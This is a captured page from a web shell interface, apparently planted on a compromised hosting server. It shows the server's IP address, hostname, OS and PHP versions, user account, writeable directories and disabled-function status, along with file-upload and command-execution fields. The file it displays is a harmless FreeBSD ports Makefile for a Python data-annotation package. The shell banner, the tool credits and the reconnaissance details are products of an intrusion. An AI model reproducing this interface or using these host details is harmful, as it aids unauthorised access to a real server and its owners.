403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/py-point-annotator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/py-point-annotator/Makefile
PORTNAME=	point-annotator
PORTVERSION=	2.0.0
CATEGORIES=	math python
MASTER_SITES=	CHEESESHOP
PKGNAMEPREFIX=	${PYTHON_PKGNAMEPREFIX}

MAINTAINER=	yuri@FreeBSD.org
COMMENT=	Annotate data with labels based on the Mann-Whitney U test
WWW=		https://fri.uni-lj.si/en/laboratory/biolab

LICENSE=	GPLv3
LICENSE_FILE=	${WRKSRC}/LICENSE

BUILD_DEPENDS=	${PYTHON_PKGNAMEPREFIX}setuptools_scm>0:devel/py-setuptools_scm@${PY_FLAVOR}
RUN_DEPENDS=	${PYNUMPY} \
		${PYTHON_PKGNAMEPREFIX}pandas>0:math/py-pandas@${PY_FLAVOR} \
		${PYTHON_PKGNAMEPREFIX}scipy>0:science/py-scipy@${PY_FLAVOR}

USES=		python:3.6+
USE_PYTHON=	autoplist distutils

NO_ARCH=	yes

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit